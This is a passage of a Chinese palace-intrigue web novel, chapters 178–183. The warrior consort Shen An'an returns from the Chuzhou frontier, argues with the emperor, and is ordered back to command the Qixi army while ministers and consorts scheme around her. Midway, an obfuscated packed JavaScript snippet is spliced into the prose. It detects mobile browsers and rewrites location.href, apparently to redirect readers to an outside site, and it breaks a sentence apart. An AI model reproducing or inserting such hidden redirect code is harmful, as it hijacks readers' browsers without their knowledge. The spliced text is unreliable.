夺宠 她并不擅长骑马。 楚萧寒在的时候,说上阵杀敌那是男儿郎的事情,女儿家就该在闺阁里娇养着。 这原本都是好意,但那仅限于楚萧寒在的时候。 正是因为楚家女都是这样娇养出来的,才成为了皇室联姻工具的最佳人选。 楚舒茗不愿走一条任人摆布的路,便毅然决然的进宫了。 一路上都是小憩,每天休息的时间不过两个时辰。 赶到京城的时候,楚舒茗和独孤及皆是满身疲惫。 独孤及进不了宫,便只能回魏大贤先前给他安排的酒楼。 沈安安一行三人由太监抬着轿子,接进了宫。 先回荣华宫洗漱了一番,便又有太监,来将她和夜亦德请去了勤德殿。 到了才发现,夜不群没叫楚舒茗来,在大殿里陪同他一起等着的,反而是贤嫔李含萱。 许是李泽里回京后,消息已经传到了贤嫔耳朵里,她此时神色轻松,朝着沈安安福身行礼时,更是面上浮现了笑意,只不过刹那间便转瞬即逝了。 夜不群一声“平身。”李含萱也跟着站直了。 她取代了楚舒茗,是能站在夜不群身边伺候的妃子。 桌上摆放的都是圣旨,说白了就是国家机密,沈安安瞧着,夜不群看奏折的时候也没有避开李含萱。 她心里有些不是滋味,是替楚舒茗不值。 “此番让西越不战而退,你功劳甚大,孤军深入敌腹的英勇事迹,朕都听说了。 吏部兵部和首辅商议了半月,也没商议出如何赏你,你跟朕说说,你想要什么?”夜不群问着。 他高坐在龙椅上,那双看不出任何情绪的漆黑眸子,仿佛是在看沈安安,又仿佛不是在看她。 “陛下,你要真想赏赐臣妾,就该是崔公公拿着圣旨在城门口等着臣妾了。”沈安安心直口快。 “臣妾就是一后宫嫔妃,别说只是打退了西越,就是打下了西越,那也是陛下的功劳,臣妾哪里敢居功自傲?” “陛下薄待臣妾无所谓,可别薄待了楚州,如今混进楚州的北戎骑兵还没有肃清彻底。 陛下快别跟臣妾唱双簧了,派兵过去收拾残局才是紧要,再冷眼旁观些时日,楚州也不知道会是谁的了。” 沈安安跪在大殿上,声音铿锵有力。 便是夜不群,脸上也有些挂不住了。 “你这是在责怪朕……”夜不群一句话说了一半。 “臣妾只是不想竹篮打水一场空,此番能击退西越和北戎,楚天明和他手底下那些已经退役的老兵功不可没。 依着臣妾的性子,是要将他们带回京城,求陛下论功行赏的,可楚州的危机并没有彻底解除,臣妾便做主让他们留在楚州了。” “还有,楚州城外,和萧沙岭夹着的那片空地上,全都是尸体,若不尽早处理,恐怕会惹出瘟疫来。 陛下,派兵前去刻不容缓,就算不能将北戎人彻底揪出来,但也能起到震慑的作用。 若是楚州无兵的消息传到了扎木乃的耳朵里,他会不会卷土重来尚未可知,楚州本就是风雨飘摇,再经不起战乱了。” 沈安安字字恳切,都是发自肺腑。 “朕会让首辅和兵部抓紧去办此事。”夜不群道。 沈安安这话,无异于以下犯上,夜不群竟然没生气,这让李含萱十分意外。 她听说荣贵妃很受宠,今日一见,才知她的宠爱竟不比皇后娘娘的少。 沈安安叹息了一声,好似耐心耗尽了,抬头看向夜不群,不解的问:“陛下你还在等什么?” 夜不群一怔。 “启西要洗牌也不是你这么个洗法吧?征兵都征不到人了,但凡你去看一眼,都没办法再稳坐高堂。” “失了民心,陛下的一切权衡和手段都会土崩瓦解,还是陛下打算,凡是从启西来的人,一律斩杀在启西和朝夕城的边界线上?” “混账。”夜不群骂她。 “崔福,将她给朕赶出去。” 崔福面露难色,缓步来到沈安安跟前儿,客客气气的请她,“贵妃娘娘……” 沈安安从地上起来,连福身行礼都省了,转身离开。 崔福被她这举动吓到了,瞧了一眼夜不群,见他没有再发作的意思,这才快步追着沈安安出了勤德殿。 李含萱看夜不群被气的不轻,缓缓开口:“陛下,您消消气。” “贵妃娘娘也是忧心边境,她是从战场上下来的嘛,臣妾听闻大家都说贵妃娘娘心直口快,想来她也不是故意要惹陛下不快的。” 李含萱这时候开口,是想趁热打铁从夜不群口中得知他想要派谁去楚州。 楚州已经耗尽了,是个烫手山芋也是个机遇,若是能在楚州建功立业,让楚州恢复往日的繁华,那便是一等一的功臣。 后起之秀和先帝时留下的臣子不一样,由陛下亲自任命的边疆大将,不会受陛下的猜忌。 李泽里当然没有这样的魄力,但不代表李氏族中就再没有能人了。 “她想让楚天明官复原职。”夜不群合上奏折。 李含萱便抬手给他揉着太阳穴,力道大小刚好合适。 她似是在专心致志的给他揉,一时无话。 东栾宫里。 “娘娘,您前脚一走,后脚贤嫔就接替了您,成为陛下跟前儿伺候的人了,她趁人之危,这是恩将仇报。” “娘娘您待她多好?要不是您把她从宁妃手里救出来,她早成了秽乱后宫的罪人,全族都该被赐死了,她就是这样报答您的?” 楚舒茗心思不在这上面。 陛下不会宠幸任何人的,再者,她的心思原也不在陛下身上。 此番楚州的事情她做的不漂亮,陛下疏远她也是应该的。 看来陛下是不想让兄长担任楚州戍边大将了。 楚舒茗心中想着,只觉得头疼,连日的赶路她都没觉得疲惫,如今没有得到陛下的召见,她反而像被霜打了的茄子,再也提不起精神来。 这一泄气,人就又病倒了,直接晕了过去。 东栾宫的宫女大惊失色,先跑去勤德殿禀报了夜不群。 谁料夜不群只是派了个太医,连丫鬟的面儿都没见。 丫鬟看李含萱从勤德殿走出来,顿时委屈,抹着泪跑开了。 第179章 挟恩 夜不群不赏也不罚的态度,让整个朝堂都寂静无声。 武文艺和杨世青因为避嫌,连失意楼都不去了,自然也没去荣华宫拜见沈安安。 沈安安在宫里吃好睡好,就这样过了两日,她跟没事儿人一样。 倒是李含萱,每日都来请安,搞的好像沈安安才是这后宫之主,沈安安以还没起床为由让莲花把她给打发了。 “娘娘,听说楚妃娘娘回来就病倒了,陛下派太医去瞧过了,太医也看不出是哪里出了问题,只说要好生养着。 这话回到勤德殿,还把陛下给惹怒了,陛下说要是楚妃娘娘有个三长两短,就让胡太医去殉葬。”秦嬷嬷将打听来的消息,事无巨细的汇报给沈安安。 已经十月了,京城也开始冷了。 此时正值午时,太阳高高的悬挂在当空,驱散了些许凉意。 沈安安是上阵次数最多,打的最猛的,她这一次可谓是身心都没歇着。 回来沐浴时莲花和秦嬷嬷看见她身上的伤,好一夜心疼,现在连喝口水秦嬷嬷都让莲花送到她嘴边。 每天都把她摁在太师椅上,让她好好休息。 沈安安屁股都躺疼了,可秦嬷嬷情愿给她揉屁股,也不让她四处活动。 李汉民董聂也都陪在身边。 夜亦天坐在一旁,听夜亦德给他讲楚州的事儿了,听了两日了也没觉得厌烦。 “她这是心病,大家都知道她心病的根源在哪儿,但谁敢明说?”沈安安身上盖着个虎皮毯子,是皇后娘娘赏给她的。 “嬷嬷,我都捂的出了一身汗。”沈安安眼波似水,看着秦嬷嬷,两只手试探着伸出来,将虎皮毯子推到了腰上。 她可不敢全部掀掉,不然秦嬷嬷又该掉眼泪了。 她是个女子,却偏生是个男子脾性,平生最怕的就是女孩儿落泪。 秦嬷嬷看她把毯子堆在腰间,便没再念叨了。 “陛下此番是什么意思?”李汉民忽地出声,但没人回答他这话。 他不曾在夜不群身边侍候,来了荣华宫教导二殿下,平日上朝他也没机会去。 所知道的,大多都是从沈安安嘴里听说的。 夜不群不怎么上朝,有事儿都是让大臣们直接去勤德殿上奏回禀,可能去勤德殿的,那都是四品以上的大员。 “陛下该不会真是要把楚州给献祭了吧?若真是这样,娘娘你可得好好劝劝。”李汉民只要一想就会心惊胆战,献祭叶州的事情还历历在目。 沈安安闭上眼睛,只当自己没听到这话。 她回京当天就跟暴君义正严辞的争辩过了,毫无卵用。 …… 倾兰宫里。 独孤若兰坐立不安,王妃来信催问世子为何还不离京,可她连世子的面儿都没见过,她也像无头苍蝇一样乱飞乱撞。 没少拿银子给魏大贤,只求他想个办法赶紧把世子送出京。 魏大贤说这事不好办,陛下追责起来他也是要掉脑袋的,独孤若兰听的心惊胆战,便退而求其次,又只求他能让自己见一面世子。 就这事儿,他也没给办妥。 独孤若兰踱来踱去,问着青禾:“陛下该不会是要把世子留在京城做人质吧?” 青禾赶忙左右看了看,做了个嘘声的动作,吓得瞳孔都睁大了。 “依奴婢看,送世子回云州这事儿还得让荣贵妃想办法,她没少受王妃的恩惠,世子又自幼跟她亲近,也该她出一份力了。”青禾建议着。 其实究其根本,就是沈安安在陛下跟前儿说得上话。 但这话不能在独孤若兰面前直说,她会生气的。 生了气,事儿就该办砸了。 惹了王妃不快,没了云州支持,他们在这宫里的日子可就不好过了。 独孤若兰让青禾去请沈安安,青禾哪里敢?便打发了个小宫女去荣华宫,跑了三趟也没把沈安安给请出来。 独孤若兰便深夜亲自登门。 “皇贵妃娘娘,我们娘娘身子不适,歇下了。 有什么要紧事儿?非得这会子说清楚?”秦嬷嬷伸出手臂,要拦独孤若兰。 独孤若兰冷哼一声,“再废话就把你拉出去杖毙。” 有了她的授意,青禾拉住了秦嬷嬷,好言相劝,“嬷嬷,主子们的事儿我们做奴婢的就别掺合了,我们娘娘跟贵妃娘娘同是王府出来的,相互扶持那是必然的事儿。 王府一门出了两位贵妃,在这后宫不知让多少人红了眼,嬷嬷也要多劝劝贵妃娘娘,干什么要跟我们娘娘闹别扭?好好的一家人和和气气不好吗?” 秦嬷嬷哼哼了两声,敷衍应过去。 屋子里亮着烛火,两人看去,就见窗户倒映着两个人影儿。 “本宫不管你想什么办法,三天之内,都得送世子出京。”独孤若兰用命令的口吻说着。 沈安安不为所动,这样的蠢事儿她绝对不会去做。 “就算我要做点什么,那也该是为楚州和楚天明做。”沈安安靠在美人榻上,秦嬷嬷把榻子垫的很软。 “你跟他有什么关系?你怎么胳膊肘往外拐?你忘了你的命是王妃救的?”独孤若兰三连问。 “若救我是为了让我做一把利刃,那这就算不得救命之恩;你要真为了他好,就停下你一切愚蠢的动作,别给他火上浇油。”沈安安是顾念独孤及那一箭的情,这才好心提醒。 独孤若兰不解,说她是个忘恩负义的。 “沈安安,你爹稳住了大晟,再也没有难民去云州边境闹事儿了,陛下如今不放世子回去,跟这件事儿脱不了干系。” “世子本宫是一定要送出京的。” 独孤若兰重重一掌拍在了桌子上,起身离开。 从荣华宫出来,她便直奔勤德殿了。 长跪在廊下,求夜不群放世子归云州,她愿代替世子,去镇守楚州。 她将独孤家所有的功劳,尽数说了一遍,又说世子是西南王府唯一的血脉,求陛下仁慈。 消息刹那间传遍了后宫,除了沈安安,后宫嫔妃们无一不是睁眼等到了天亮。 “娘娘,陛下竟没下令处罚皇贵妃,陛下对皇贵妃还是另眼相待的。”宣明宫里,芍药给李含萱梳着头,不大甘心道。 第180章 为难 “我也意外。”李含萱没掩饰自己的失落。 “她这样做,是明摆着挑战陛下皇威,细数独孤家的功绩,便是细数陛下曾经的“荒唐。”按照陛下的性子,该直接把她发回云州才对。 可陛下什么都没做,这是为何?”李含萱在问芍药,也在问自己。 皇后是西南王府的郡主,要说为了皇后宽纵西南的嫔妃,可已经有一个荣贵妃肆意妄为了。 皇贵妃不过就是王妃的义女罢了,不但位份比荣贵妃的高,还养育着三殿下。 李含萱怎么觉得,真正身份高贵的人该是独孤若兰呢? 她这边也不能安生,丰庆郡主以看望她为由进宫了。 太监在外面喊了一嗓子,屋内的二人便停止了交谈。 不待芍药把人请进来,丰庆便着急慌忙的自己走进来了。 “如今仗也打完了,人都回来了,怎么回事儿?陛下绝口不提封赏的事儿。”丰庆郡主人还没走到李含萱身边,声音先传了来。 为着这事儿,她死了丈夫和女儿,若儿子再没得点军功,她才是亏大了。 李泽里活着回来了,丰庆俨然已经忘记了,她最初的愿望就是儿子能活着回来。 人的欲望会无穷放大,人也永远也不会被满足。 所谓的知足常乐,不过是无计可施时的自我安慰罢了。 “你说句话呀,你近来不是陛下身边最得宠的妃子吗?你连楚妃的位置都取代了,还不能给你弟弟求个赏赐了?”丰庆冷眼质问。 她怀疑夜不群没给儿子册封,就是李含萱从中在捣鬼。 李含萱也不怒,温声说:“朝堂上的事情我不敢插手。” “陛下没封赏的,不止弟弟一人,母亲再等等也无妨。” 丰庆一听这话,当即就急了,“等等、等等,你只会让我等,今日你不给我个说法,我就不出宫了,反正陛下也不会赶我。” 李含萱纵然有万般本事,也拿丰庆没办法。 …… 翌日,独孤及就进宫,表示自己愿意留在京城,等陛下需要解闷儿的时候,他随时都在。 原本夜不群没有充足的理由将一个有功的王府世子留在京城,但独孤若兰把这绝好的机会亲手送了上去。 夜不群不但没有责怪她,还赏赐她,比以往任何一次赏赐的东西都要好。 独孤家过往的功绩和他们的谋反之心息息相关。 朝中老臣,至今都不敢忘记大军压城的那种威压。 夜不群就是在这种情况下,将老王爷和他的四位副将骗进了皇宫,快刀斩乱麻的将他们就地正法。 又将老王爷的嫡次子诱骗进宫,威逼他成为下一任西南王,跟京城外的大军说是老王爷放不下太祖皇帝,自刎于灵堂去陪太祖皇帝了。 自那以后,西南便在夜不群的掌控中了。 如今他是一国之君了,言行举止暴露在文武百官乃至全国百姓面前,他不能再用那些雷厉风行的手段了。 总有言官上奏,让他谨记轩辕如今无将可用的境地,都是他一手造成的。 他迫切的想要证明,即便没有独孤家、没有郑家、没有宇文家和楚家,他也能让轩辕成为无人可以捅破的铜墙铁壁。 所以,他才将那些刚培养的将领,放到楚州去。 六位,尽数都没在楚州了。 千军易得,一将难求,培养一个合格的武将,不仅仅是时间的问题,还要有无数次的实战经验。 与其说他是给北戎机会,倒不如说他是在给自己机会,他不愿相信自己精心培养的将领,能败了一次又一次。 这种不肯输的自负,让楚家军葬送了。 他回过神来的时候,为时已晚,他必须得承认,就算是赵小高,也不是他百分百能把控的人。 正所谓将在外,皇命有所不受。 以前为了行事方便,他给了魏大贤和赵小高太多的权力,这些权力滋养了他们的野心,让他们对万事都有自己的判断。 所以赵小高会败。 若不是魏大贤带去的是天罗,后果不堪设想。 可行军打仗,不是天罗地网这种禁军做的事情。 夜不群现在犹豫的是,派郑家练出来的护京军去,还是派宇文家练出来的凤州大军去。 楚天明压得住他们吗?他们真的不会跟北燕内外勾结吗? 启西已经是一扇敞开的门了,若派错了人,跟把启西送给北燕有什么区别? 重要的不是击退北戎,重要的是那片民心尽归楚家的大地,要如何才能让他们彻底信服朝廷,信服他这位残暴的帝王? 他不想楚天明在启西再次出头,可还有比他更适合长待在楚州,重建启西的人吗? 夜不群抬手揉着眉心,忽觉一阵无力感。 他去了椒房殿。 安乐身子不好,许多事情他都不会告诉她。 这椒房殿就像世外桃源一般,外面的那些纷纷扰扰,都传不到这里来。 “陛下。”宫女看见夜不群只身一人,轻声叫着。 惊动了安乐,安乐从椅子上起身,他就快步上前,握住了她的手。 别看他们身份是帝后,相处时同普通夫妻别无二致。 “在勤德殿看折子看累了,来你这里透透气,没打扰到你休息吧?”夜不群缓声问着。 他在床榻上坐下来,把安乐圈进怀中,让她坐在自己腿上。 夜不群长得高大,安乐在他面前越发显得娇小。 “哪里的话?”安乐轻轻抬起手指,放在他的眉心。 时常皱眉,他的眉心都留下了皱眉的痕迹。 便是这样的力气,夜不群也舍不得安乐出,握住她的手腕,将她的手放在了自己的胸膛上,还问她:“这样舒服吗?” 安乐点了点头,“如今不同于你是王爷的时候了,该下放的权力得下放,内阁从先帝时期就废除了。” “皇兄信武杨,让他们统管朝堂,但那时候还有为国为民的李太傅在,他们二人想只手遮天也难。 李太傅尽心尽力,的确让轩辕出现过几年欣欣向荣的景象,只是如今看来,那不过是昙花一现。” 夜不群声音很温柔,气息喷洒在安乐的面上,两人你看我、我看你的眼神,如荡开的迤逦春光。 夜不群陷在其中,险些要把持不住了。 他落在安乐腰上的手,不住的摩挲着。 第181章献计 “让我抱一会儿你。”夜不群将头埋在安乐的颈窝里,用近乎撒娇的声音说着。 安乐一动不动,任由他把自己当成依赖。 高处不胜寒。 许多事情等着他做主,他一声令下,苦的兴许就是成千上万的百姓。 他也只想让这片辽阔的土地尽归轩辕,他没有错。 要是他现在不憋着一口气,完成自己的宏图大业,那么往后的几百年几千年,后世子孙便要遭外族侵扰。 可是这段路,走的艰难,如今再看,好似是没有尽头的。 安乐手落在他的背上,轻轻拍着,像哄孩子那样。 夜不群身姿挺拔,因为弯着腰,两人之间隔出了些许距离,他不想要这样的空隙,便箍紧了双臂,将她往怀中拉了拉。 安乐有些喘不过气来,但她没说。 陪在他身边许多年了,这还是第一次见他脆弱的样子,但她什么都做不了,只能沉默的陪着他。 夜不群陪她用过晚膳后,就歇在椒房殿了。 武文义和杨士青也被文臣们推了出来,他们两个虽然没到三品,但是三朝旧臣。 跟在魏大贤身后,站在勤德殿的院子里,夜晚的风吹在面上,像刀子似的剐着。 杨士青不住的抬起胳膊,用袖子遮挡着风。 “首辅大人,陛下如今就只听你的建议,你就让楚天明官复原职吧。”杨士青眯着眼说道。 “启西被打穿,敌人的铁蹄就该在朝夕城了,朝夕城横在京城和西北之间,要是让北戎给占领了,再跟北燕、启南任何一方双面夹击过来,那都是毁天灭地的重创啊。” “是啊是啊。”武文义附和,“别说水军动了,只要郑扶胤睁一只眼闭一只眼,让东渝人过来,京城都完了。” “先帝时期他们才来了几个人啊?你看把京城和同州搅动成了什么样?那东渝人都是天生的坏种,降不服的。 再说了,东渝的情况都是启南送来的,还不是郑扶胤说了算?得把南边的情况往更坏了考量。”杨士青接过武文义的话,继续危言耸听。 这一招在之前不好使,但是现在就好使了。 一旦开战,他们就忌惮郑家人。 虽说陛下没在郑婉婉手里败过,但他也没赢过啊。 郑婉婉一介女流,能辅佐着陆诰占地为王,拿下西域、瓜分天缘……便是夜不群,也要说一声佩服。 而且阴差阳错的,天缘皇室的唯一血脉长公主,还偏偏跟北燕的皇子关系要好。 就算夜不群不惧怕四面楚歌的境地,可也不能这么玩儿啊。 首辅把这字字句句都听进去了。 武文义和杨士青就是这样,他们不会坚定的站在谁背后,祭奠谁能解了他们眼下的困,他们就把谁祭天。 这一次,郑扶胤便是他们自保的牺牲品。 “依你们之见,派谁去最合适?”魏大贤望着紧闭的勤德殿门,问着。 是在虚心求教。 按照魏大贤自己的意思,他是要自请披甲上阵的。 但从启西考入京城的那群学子,听到楚天明出山了,便群情激奋,陛下对楚天明不罚不奖的态度,更是让他们义愤填膺。 天天太学院也不去了,穿的一身丧在街上游荡。 他们还把楚萧寒的功绩写成童谣,四处传播,搞得京城人心惶惶。 京郊的百姓从他们口中得知,自己平日吃的还不如连年征战的楚州,这下也扔了锄头不干了,天天汇聚在城门口,要进城敲响登闻鼓。 魏大贤也头疼的很,若只是百十个人,一刀**干脆,那但是成千上万的人,其中还有陛下赏给二殿下的那些百姓…… 无奈,他只能加派人手,把人天天堵在城外。 太学院里那些上街**的启西学生,抓了还得好吃好喝的供着,放了他们更变本加厉,这就导致魏大贤只能把人白天抓起来关进牢里,晚上再放出来。 这群学子狡猾的很,就跑去李太傅的故居或是李太傅的陵寝,谁敢在这两个地方动武? 魏大贤身边还有个不省心的赵小高,天天提着刀喊着要把**的学子拉去乱葬岗杀了。 魏大贤还得把他摁住,头疼,实在是头疼。 “娘娘。” “董聂。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704870|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 杨士青和武文义异口同声的说着。 两人说完也面面相觑,似是都没想到对方推荐的人。 武文义以前是做武将的,先帝时期又是权倾朝野的武将之首,他是在郑、楚、独孤、宇文四位老将军的丰功伟绩里成长起来的。 他有样学样,也比其他人厉害,便继续道:“董副将嘛,那是郑将军一手提拔起来的后备军将领,每逢上战场他都负责支援、后勤、辎重。 水上可比陆地上难多了,而且不到万不得已不用正面迎敌,和贵妃娘娘这种擅长埋头猛冲的将领配合起来刚好合适。” “若是换个别的,兴许娘娘冲的太深了,后续的援助和辎重就跟不上了,那娘娘岂不是又要落入和侯爷一样的境地了?” “娘娘已经去过两次楚州战场了,两次都是跟扎木乃打,有经验。 就把凤州大军派过去嘛,那是群硬骨头,塞了无数将领进去人家都不服气。” “娘娘不是养育着太子殿下吗?他们跟娘娘有别人无法替代的亲近,娘娘压得住他们。” “至于后续的驰援,可以安排在朝夕城嘛,首辅大人派谁去都可以,但下官觉得,还是侯爷最合适,就让侯爷带着两万地网,在朝夕城随时待命。 既是驰援的后备军,又是扼住娘娘和凤州大军咽喉的那只手,太子殿下留在宫中,让二殿下随娘娘出征,如此娘娘的左右手都牢牢的握在陛下和首辅大人的手中,有何可怕的?” 魏大贤聚精会神的听着,留给武杨的只有后背。 其实他也觉得,沈安安是最合适的人选了,但他知道这是只母老虎,放出去了说不得就跟郑婉婉一样,是放虎归山。 但听武文义这么一说,他便打消了这份顾虑。 沈安安为何没跟着百里胜走?不就是因为两位殿下吗?她看似铜墙铁壁毫无软肋,但其实整个人已经被两位殿下牢牢的拴住了。 “就听你的。”良久,魏大贤道。 “待会儿见了陛下,你就这么跟陛下说,我和侯爷会给你推波助澜的。” 赵小高哼了声,朝着武文义投来鄙夷的目光。 第182章不领命 武文义一个人可不敢崭露锋芒,要拉上杨士青一起,魏大贤点头同意了。 “漂亮话,还是你说的好听,待会儿见了陛下,我说完这些肺腑之言,杨大人你就说些溜须拍马的话,赶紧把这事儿敲定了。”武文义小声说着。 杨士青“哼哼”了好几声,骂他一肚子坏水。 岂料他们这一等,就在这儿等了一晚上。 第二天辰时两刻,天才大亮。 夜不群从椒房殿而来,太监早就将勤德殿内弄的暖烘烘的。 “诸位大人,请进吧。”崔福拿着拂尘,客客气气的说着。 殿门开着,冷热在前胸后背,简直就是冰火两重天,冷的杨士青在打寒颤。 一晚上都在保持精神抖擞,此时是真的有些睁不开眼了,武文义脑子昏昏沉沉,只想赶紧趁着自己还清醒的时候把话说完。 两人早忘了要把话说漂亮好听,一股脑儿的直抒胸臆。 “一来是为了防范北戎、西越出其不意;二来则是赶紧让人把楚州城外的战场处理干净,以免引起疫病。 三则,启西人心稳住了,州官朝廷再派过去,也能事半功倍,启西确实不容易,念着大将军的功劳,也该免两年赋税了。 但户部也不容易啊,要养那么多的大军,启西空缺的这部分赋税,便让启南和西南补上来吧。 也不要银子,送粮入京就可以了,至于如何维护这两地的秩序,那就是启南将军府和西南王府的事儿了。” 杨士青低着头,冷的牙关打颤,开口提议着。 要了银子,朝廷现在也没办法从北燕手里买到粮食了。 但郑扶胤不一样,他能从北燕手里买到粮食。 至于西南,也该把大晟过境被抢的那部分银子吐出来了,不管是不是王府干的,都算到王府头上。 如今世子在京城,王妃只得乖乖拿粮出来,不够了,那她去抢也好买也好,就是她自己的事儿了。 这些夜不群早就想到了,但不能是他下达圣旨,只能由手底下的官员们去做。 他提拔上来的人不能去做,那些人都代表着他,但武杨不一样,他们是三朝元老,是太祖皇帝亲自给先帝挑选的近臣,没有人比他们二人更适合去针对郑扶胤和西南王府了。 “此事就这么定下了,但启西一直都是由楚家军镇守的,前面那些个蠢货,将楚家军消耗殆尽。 此番楚天明也算是戴罪立功,他置楚州于不顾的罪,朕也不追究了,便让他继续跟着荣贵妃戍边吧。 待来日彻底击退北戎,朕会让他官复原职,首辅,张贴告示出去。 若告示贴出去了,还有学子作乱,直接下大狱就好,不用再回禀。” “武文义,你带着圣旨去京郊大营,调四万凤州大军,由董聂带领,即刻出发前往楚州。” “杨士青,朕命你两个时辰内,将棉衣、粮草、马匹,送到京郊大营,不得有误。” 夜不群说话的间隙,已经将圣旨写好了,盖上了玉玺,由崔福交到了武文义手中。 “是,臣领命。”武杨齐声应着。 在夜不群掷地有声的声音里,他们的困意也被驱散了。 夜不群转而看向了魏大贤,紧抿着唇,犹豫片刻挥了挥手,叫他们都退下。 …… 从勤德殿出来,夜不群去了荣华宫。 秦嬷嬷和莲花激动坏了,阖宫上下接驾完后,秦嬷嬷忙去小厨房准备点心了。 夜不群的一日三餐都有御膳房管着,他鲜少在哪位妃子的宫里吃小厨房的饭菜,所以只能准备些小点心。 但他会亲手给皇后娘娘做吃的。 夜不群坐下后,御膳房的太监们将早膳一一摆放在了桌子上,都是些清淡爽口的。 沈安安瞥了一眼,没什么胃口。 她在军中糙惯了,山珍海味她反倒不怎么爱吃,早上就喜欢吃秦嬷嬷做的油条和大包子。 秦嬷嬷近来都是想方设法的给她补身体,一日让她吃五顿,可还是没补回来。 沈安安自己也说,是要吃胖一点,西越人太魁梧了,体重上不去,真打起来她可能会被一只手拎起来摔死在地上。 沈安安看夜不群细嚼慢咽的就着急。 “你去楚州戍边,朕封你启西大将军,楚天明董聂、四万凤州军,尽数听你指挥。 朕听首辅说你擅长偷袭?朕再拨你一千地网,用作你的近卫,朕把启西今日就交到你手上了。” 夜不群缓声说着,没跟沈安安绕弯子。 他怀疑自己说的委婉了,这女人会听不懂。 她是直肠子,向来是听不懂言外之意的。 “我不去。”不料,沈安安直接拒绝。 同桌一起吃饭的两小只,闻言不可置信的看向她。 夜亦天那恨铁不成钢的眼神,都快把沈安安给扎穿了。 这是拿到兵权多好的机会?要是她做得好,就不止这四万凤州军了。 凤州军是舅父留给他的,迟早是要回到他手上的,但他被夜不群和夜明死死的压着。 等他长大,凤州军连他是什么样子都不知道,怎么会听从他的号令? 但是沈安安就不一样了,沈安安有真本事,是上过战场的人,这次要是带着凤州军彻底剿灭了北戎,那凤州军就会臣服于她。 臣服于她,便是臣服于夜亦天。 但夜亦天很快就垂下了眼睑,表现出一副浑不在意的样子来。 “朕看你真的是胆大妄为。”夜不群没生气,只觉得意外,他声音放温柔了些,问着,“你不是一直都想上阵杀敌吗? 之前还让朕准你出宫参军,如今朕如你所愿了,你怎的反而打起了退堂鼓? 莫非是跟西越的希图伊雅人碰面后,被他们异于常人的体格吓到了?” 沈安安裹着夜亦德给她做的虎皮披风,她总是爱不释手,但出去的时候从来不带,生怕拿出去被哪个不长眼的给弄坏了。 “臣妾不吃激将法,陛下别拿这套来唬我。” “臣妾旧伤未愈,出不了宫,侯爷一直想着一雪前耻,这大好的机会陛下应该给侯爷。” “我们这些做后宫嫔妃的,紧要的任务是把陛下你给伺候舒服了,其他的,那都不是事儿。” 沈安安翘起兰花指,妄图做出娇媚的动作,但被她搞成了四不像。 第183章 送心药 夜不群看她一本正经的样子,感觉下一瞬她就要扛起一根大木头,结结实实的砸在自己背上了。 看她如此不识好歹,他便没再跟她好商好量了。 “崔福。”夜不群放下手中碗筷,叫着。 “陛下,奴才在呢。”崔福站在门口,低着头应着。 “去勤德殿替朕拟旨,三日后让荣贵妃和二殿下启程去楚州,拿不到扎木乃的脑袋,就让她提着自己的脑袋来见朕。”夜不群冷声说完,起身离开。 这话,都是说给沈安安听的。 沈安安起身追了出去,“陛下,你不能这么不讲理啊,我也没说不去啊,我就是想跟陛下你谈谈。” “陛下,陛下……” 她追了出去。 夜亦天偏头看着他们走远的身影,神情瞬间落寞。 “咣当。”一声,他手边的筷子掉在了地上,发出清脆的响声。 “皇兄。”夜亦德溜下了凳子,来到他跟前儿问着,“皇叔为什么不让你跟着我们一起去?” 夜亦天沉吟道:“他不想你和夜明反目成仇,但夜明性格太软弱了,他需要一把刀,把夜明磨的更加锋利。” 不锋利的刀,镇压不住朝堂。 如今四面楚歌的轩辕,文臣武将都会挑选有铁血手腕的。 一般这样的人,是不会服从一个软弱之人的管理的。 他有意将皇位传给夜明,又不想夜明出去吃南征北战的苦,担心魏大贤和赵小高对夜明太过宠溺,所以才把自己留在宫里。 嚣张跋扈的皇贵妃养着夜明,他还把西南封给了夜亦德,日后西南和京城,还有西北连成了一条所向披靡的线,这都是夜明的。 “皇兄……”夜亦德欲言又止,他想说夜亦天是不是把皇叔想的太坏了? 皇叔对他们还是蛮好的,夜明有首辅和定国侯教着,哪里还需要别人去鞭策? “以后他也会下令,让你绝对效忠夜明的,他要把我变的孤立无援,让你跟着母妃去楚州,是让你去树立威望的,日后他把西南和启西都交给你,让你无条件的支持夜明上位。” 这些话听的夜亦德心惊胆战的。 他赶忙把脑袋伸出去,看看房顶上有没有千人斩在监听。 “你莫怕被人听见,他巴不得孤早点明白这个道理,好跟夜明一争高下,若是孤永远都在装傻,那孤就是个没用的废子。”夜亦天一双澄澈的眸子看着夜亦德说到。 他好似想让夜亦德现在就表态,目光跟随着他的脸在转动。 夜亦德说:“皇兄你才是太子,是日后的天下共主……” 剩下的话,他就没继续说了。 夜亦天招手将他叫到了自己身边,拍着他的肩膀说:“亦德,孤只有你了。” 夜亦德重重的点了点头,表明自己听进去了。 …… 千人斩,是没讨到的。 但她给楚天明和那些老兵讨到了军职,拿着圣旨就去东栾宫找楚舒茗了。 “楚妃,楚妃。”沈安安人还没跨进东栾宫的殿门,声音先传了去。 “我在。”楚舒茗应着。 她由宫女搀扶着,从榻上起来,出门迎接沈安安。 “嫔妾参见贵妃娘娘。”楚舒茗福身就要行礼。 沈安安扶住了她的胳膊,另一只手摇晃着圣旨,“我来给你治心病了。” 她力气大,搀着楚舒茗进了屋子,把人往美人榻上一放。 “叫娘娘惦记了,是嫔妾的过错。”楚舒茗脸色煞白,说话时有气无力,手里捏着帕子,虚掩着嘴。 “你总是跟我这样客气。”沈安安嘟着嘴,把其中一道圣旨塞到了楚舒茗手上。 楚舒茗打开圣旨一看,震惊都写在脸上。 她不敢相信陛下竟然真的会赏那些老兵,还让他们继续在楚天明麾下,而且圣旨上清清楚楚说了,打完北戎朝廷会帮助启西再建楚家军。 “这道圣旨嫔妾都不敢信。”楚舒茗如实珍宝,将圣旨还给了沈安安。 这道圣旨是要带去楚州的,沈安安就是陛下选定的传旨之人。 “世上万事艰难,但艰难万事也怕人为,你兄长心里还是有楚州的。 